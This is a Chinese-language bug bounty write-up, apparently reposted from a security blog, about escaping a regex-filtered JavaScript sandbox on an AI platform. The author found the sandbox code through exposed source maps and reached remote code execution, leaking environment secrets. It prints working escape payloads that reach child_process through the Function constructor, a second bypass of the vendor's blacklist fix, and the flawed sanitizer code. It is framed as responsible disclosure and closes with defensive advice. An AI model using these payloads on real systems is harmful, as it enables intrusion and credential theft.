文章总结: 作者利用SourceMap还原代码,发现某平台JS沙箱存在严重缺陷。通过获取全局对象绕过正则清洗,实现RCE并泄露密钥。厂商仅扩展黑名单修复,被二次绕过。建议生产环境禁用SourceMap,避免自研沙箱或依赖正则,应采用成熟隔离方案。 综合评分: 92 文章分类: 漏洞分析,代码审计,WEB安全,实战经验,渗透测试
我是如何在一个流行的 JS 沙箱中发现严重 RCE 漏洞
hai dragon
安全狗的自我修养
2025年12月29日 12:11 湖南
我是如何在一个流行的 JS 沙箱中发现严重 RCE 漏洞的
暴露的 JavaScript Source Map 如何导致沙箱逃逸与远程代码执行(RCE)
官网:http://securitytech.cc/
#
在流行的漏洞赏金项目中寻找真正有价值的安全漏洞,有时候感觉几乎不可能。
所有研究人员都在用同样的方法、测试同样的目标。 那些容易发现的漏洞,往往很快就被挖光了。
但其实,有一个非常简单的小技巧,可以帮你发现新的机会。
改变一切的 Google Dork
("Bug Bounty Program" | ("Vulnerability" & "Reward")) -bugcrowd -hackerone -yeswehack -intigriti -immunefi
再加上 “Past week(过去一周)” 的时间过滤条件。
一瞬间,你看到的就会是: 👉 几乎没人测试过的新项目。
正是通过这种方式,一个AI 平台进入了我的视野,成为了下一个目标。
漏洞发现过程(Discovery Story)
这家公司刚刚上线了他们的 漏洞赏金计划。 所有功能都在范围内,完全可以开始测试。
在信息收集阶段,我发现了一个很常见的配置错误: 👉 开启了目录列表(Directory Listing)。
大多数目录里并没有什么有价值的内容。
但随后,我注意到了多个 .js.map 文件。
什么是 Source Map(源码映射)?
Source Map 是开发阶段使用的文件,用来将压缩/混淆后的 JavaScript 映射回原始源码。
变量名、函数名、注释 —— 👉 开发者写的所有内容都在里面。
在生产环境中,这些文件绝对不应该暴露。 但在这里,它们是完全可访问的。
我使用了一个开源工具 sourcemapper,成功还原了原始的 TypeScript 代码:
python sourcemapper.py -o recovered_code https://target.com/static/js/file.js.map
技术深挖(Technical Deep Dive)
还原后的代码中,有一个文件立刻引起了我的警觉:utils.ts
在其中,我发现了一个名为 sandboxedEval 的函数。
它的作用是:
👉 在平台的工作流构建器中,“安全地”执行用户提供的代码。
实现方式存在严重问题
const sanitizeCode = (code: string): string => {
const dangerousPatterns = [
/process\./g,
/require\(/g,
// ... 更多规则
];
let sanitizedCode = code;
dangerousPatterns.forEach((pattern) => {
if (pattern.test(sanitizedCode)) {
thrownewError("Cannot execute code with dangerous patterns");
}
sanitizedCode = sanitizedCode.replace(pattern, "/* blocked */");
});
return sanitizedCode;
};
👉 基于正则的代码清洗从根本上就是不安全的。 👉 这是一个典型的 JavaScript 漏洞温床。
但真正致命的问题还在后面:
const func = newFunction(
"sandbox",
`with (sandbox) { return (async function() { ${updatedCode} })(); }`,
);
new Function() + with()?
👉 这是一个教科书级别的沙箱逃逸场景。
漏洞利用开发(Exploit Development)
问题变成了: 这个 JS 沙箱,能不能被绕过?
第一步:获取全局对象(global object)
let globalObj = (function () {
returnthis;
})();
在非严格模式下,这段代码会返回全局对象。 👉 第一层防护被突破。
第二步:获取 require 函数
let requireFunc = globalObj.constructor.constructor(
"return this['process']['mainModule']['require']",
)();
这里利用了 JavaScript 的动态特性:
Function 构造器创建的函数是在全局作用域执行的。
第三步:执行系统命令
let childProcess = requireFunc('child_process');
let output = childProcess.exe[c]Sync('env').toString();
logFunc(output);
注:
exe[c]Sync这样写是为了符合平台的展示策略, 实际表示命令执行函数。
完整 Exploit Payload
let globalObj = (function() { returnthis; })();
let requireFunc = globalObj.constructor.constructor(
"return this['process']['mainModule']['require']"
)();
let childProcess = requireFunc('child_process');
let output = childProcess.exe[c]Sync('env').toString();
logFunc(output);
影响与验证(Impact & Proof)
当我测试这段代码执行 Payload 时,结果令人震惊。
👉 泄露了 230 多个环境变量:
AWS_ACCESS_KEY_ID=[REDACTED]
AWS_SECRET_ACCESS_KEY=[REDACTED]
GITHUB_ACCESS_TOKEN=ghp_[REDACTED]
OPENAI_API_KEY=sk-[REDACTED]
STRIPE_SECRET_KEY=sk_live_[REDACTED]
POSTGRES_URL=postgres://user:pass@host/db
还有更多: 数据库凭据、API Key、加密密钥、服务 Token……
这不是一个理论漏洞。
👉 完整的 RCE(远程代码执行)已经实现。
攻击者可以:
- 读取所有敏感数据
- 执行任意系统命令
- 横向移动到其他系统
- 部署恶意软件
无论从哪个标准来看,这都是一个严重漏洞(Critical)。
负责任披露时间线(Responsible Disclosure)
2025 年 7 月 23 日,我提交了两份报告:
- 通过目录列表暴露 JavaScript Source Map【低危】
- 通过不安全 JS 沙箱实现 RCE【严重】
当天 CTO 的回复:
“感谢你详尽的报告,并向我们指出这一严重问题。我们已确认该漏洞的严重性……”
漏洞在几天内被修复。
2025 年 9 月 18 日: 我收到了 $2X0 美元 的合并奖励。
当我询问为何严重级别被从 Critical 降为 Medium 时,CTO 解释说:
“我们将这两个漏洞视为依赖关系,没有第一个漏洞,第二个就无法被利用……”
随后,CEO 又补充道:
“关于 RCE 的问题,它与一个被广泛利用的第三方 Java 库零日漏洞有关。”
但这里有一个小问题。
👉 漏洞代码在他们自己的 utils.ts 文件中。
👉 由他们团队编写、维护。
并未真正修复的漏洞(The Unfixed Vulnerability)
几个月后,我再次测试了相同的功能。
所谓的“修复”暴露了一切:
const dangerousPatterns = [
/process\./g,
/require\(/g,
/child_process/g,
/mainModule/g,
/constructor\(/g,
/execSync\(/g,
];
👉 黑名单永远不会真正奏效。
稍作修改,沙箱依然可以逃逸:
let globalObj = (function () {
returnthis;
})();
let requireFunc = globalObj["constructor"]["constructor"](
"return this['process']['main'+'Module']['require']",
)();
let output = requireFunc("child_" + "process")
["execSync"]("id")
.toString();
output = output;
👉 代码执行能力依然存在。 👉 漏洞修复得非常糟糕。
经验与总结(Lessons & Takeaways)
给开发者:
1️⃣ 永远不要在生产环境暴露 Source Map
- 构建时排除
.map文件 - 关闭 Web 服务器目录列表
- 将
.map加入.gitignore
2️⃣ 避免自制 JavaScript 沙箱
- 使用成熟方案,如
isolated-vm - 将不可信代码放在独立容器中
- 实现真正的进程隔离
3️⃣ 永远不要依赖正则黑名单
- 使用白名单策略
- 正确解析与校验
- 假设攻击者一定能绕过
给安全研究人员:
1️⃣ 主动寻找 Source Map
- 它们是漏洞金矿
- 很多公司会忘记移除
sourcemapper非常好用
2️⃣ 深入测试沙箱实现
- 默认它们是不安全的
- 重点关注
global对象 - 测试原型链污染等向量
3️⃣ 面对奖励失望要坚持
- 有些公司会淡化你的成果
- 真正的价值在于学习
- 把一切记录清楚
结语(Conclusion)
这次经历让我学到了一件重要的事。
安全研究真正的满足感, 不在于奖金金额, 而在于:发现别人忽略的东西,真正理解系统的弱点。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 hai dragon《我是如何在一个流行的 JS 沙箱中发现严重 RCE 漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论